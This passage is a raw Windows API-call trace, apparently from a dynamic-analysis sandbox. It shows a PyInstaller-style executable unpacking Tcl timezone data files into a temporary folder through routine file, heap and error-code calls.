lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12") returned 67 [0042.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-12"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.058] GetLastError () returned 0x2 [0042.058] SetLastError (dwErrCode=0x2) [0042.058] GetLastError () returned 0x2 [0042.058] SetLastError (dwErrCode=0x2) [0042.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12", lpFilePart=0x0) returned 0x42 [0042.058] GetLastError () returned 0x2 [0042.058] SetLastError (dwErrCode=0x2) [0042.058] GetLastError () returned 0x2 [0042.058] SetLastError (dwErrCode=0x2) [0042.058] GetLastError () returned 0x2 [0042.058] SetLastError (dwErrCode=0x2) [0042.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12") returned 67 [0042.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-12" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-12"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.059] GetFileType (hFile=0x10c) returned 0x1 [0042.059] htonl (hostlong=0x73000000) returned 0x73 [0042.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.059] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0042.060] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.060] CloseHandle (hObject=0x10c) returned 1 [0042.060] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.060] htonl (hostlong=0x30000000) returned 0x30 [0042.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.060] GetFileType (hFile=0x10c) returned 0x1 [0042.060] htonl (hostlong=0x9bd5b00) returned 0x5bbd09 [0042.060] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606d09, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.060] htonl (hostlong=0x74000000) returned 0x74 [0042.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.060] htonl (hostlong=0x74000000) returned 0x74 [0042.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.060] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.060] htonl (hostlong=0x73000000) returned 0x73 [0042.061] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0042.061] htonl (hostlong=0x74000000) returned 0x74 [0042.061] htonl (hostlong=0x73000000) returned 0x73 [0042.061] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.061] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.061] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.061] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.061] CloseHandle (hObject=0x10c) returned 1 [0042.061] GetLastError () returned 0x0 [0042.061] SetLastError (dwErrCode=0x0) [0042.061] GetLastError () returned 0x0 [0042.061] SetLastError (dwErrCode=0x0) [0042.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.061] GetFileType (hFile=0x10c) returned 0x1 [0042.061] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.061] CloseHandle (hObject=0x10c) returned 1 [0042.061] GetLastError () returned 0x0 [0042.061] SetLastError (dwErrCode=0x0) [0042.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.062] GetFileType (hFile=0x10c) returned 0x1 [0042.062] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.062] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.062] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.062] CloseHandle (hObject=0x10c) returned 1 [0042.062] GetLastError () returned 0x0 [0042.062] SetLastError (dwErrCode=0x0) [0042.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.062] GetFileType (hFile=0x10c) returned 0x1 [0042.062] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.062] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.062] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.063] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.063] CloseHandle (hObject=0x10c) returned 1 [0042.063] GetLastError () returned 0x0 [0042.063] SetLastError (dwErrCode=0x0) [0042.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13") returned 67 [0042.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-13"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.063] GetLastError () returned 0x2 [0042.063] SetLastError (dwErrCode=0x2) [0042.063] GetLastError () returned 0x2 [0042.063] SetLastError (dwErrCode=0x2) [0042.063] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13", lpFilePart=0x0) returned 0x42 [0042.063] GetLastError () returned 0x2 [0042.063] SetLastError (dwErrCode=0x2) [0042.063] GetLastError () returned 0x2 [0042.063] SetLastError (dwErrCode=0x2) [0042.063] GetLastError () returned 0x2 [0042.063] SetLastError (dwErrCode=0x2) [0042.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13") returned 67 [0042.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-13"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.063] GetFileType (hFile=0x10c) returned 0x1 [0042.063] htonl (hostlong=0x73000000) returned 0x73 [0042.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.064] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0042.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.065] CloseHandle (hObject=0x10c) returned 1 [0042.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.065] htonl (hostlong=0x30000000) returned 0x30 [0042.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.065] GetFileType (hFile=0x10c) returned 0x1 [0042.065] htonl (hostlong=0x7dbd5b00) returned 0x5bbd7d [0042.065] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606d7d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.065] htonl (hostlong=0x74000000) returned 0x74 [0042.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.065] htonl (hostlong=0x74000000) returned 0x74 [0042.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.065] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.065] htonl (hostlong=0x73000000) returned 0x73 [0042.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0042.065] htonl (hostlong=0x74000000) returned 0x74 [0042.065] htonl (hostlong=0x73000000) returned 0x73 [0042.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.066] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.066] CloseHandle (hObject=0x10c) returned 1 [0042.066] GetLastError () returned 0x0 [0042.066] SetLastError (dwErrCode=0x0) [0042.066] GetLastError () returned 0x0 [0042.066] SetLastError (dwErrCode=0x0) [0042.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.066] GetFileType (hFile=0x10c) returned 0x1 [0042.066] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.066] CloseHandle (hObject=0x10c) returned 1 [0042.066] GetLastError () returned 0x0 [0042.066] SetLastError (dwErrCode=0x0) [0042.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.066] GetFileType (hFile=0x10c) returned 0x1 [0042.066] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.067] CloseHandle (hObject=0x10c) returned 1 [0042.067] GetLastError () returned 0x0 [0042.067] SetLastError (dwErrCode=0x0) [0042.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.067] GetFileType (hFile=0x10c) returned 0x1 [0042.067] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.067] CloseHandle (hObject=0x10c) returned 1 [0042.067] GetLastError () returned 0x0 [0042.067] SetLastError (dwErrCode=0x0) [0042.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14") returned 67 [0042.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-14"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.068] GetLastError () returned 0x2 [0042.068] SetLastError (dwErrCode=0x2) [0042.068] GetLastError () returned 0x2 [0042.068] SetLastError (dwErrCode=0x2) [0042.068] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-14", lpFilePart=0x0) returned 0x42 [0042.068] GetLastError () returned 0x2 [0042.068] SetLastError (dwErrCode=0x2) [0042.068] GetLastError () returned 0x2 [0042.068] SetLastError (dwErrCode=0x2) [0042.068] GetLastError () returned 0x2 [0042.068] SetLastError (dwErrCode=0x2) [0042.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 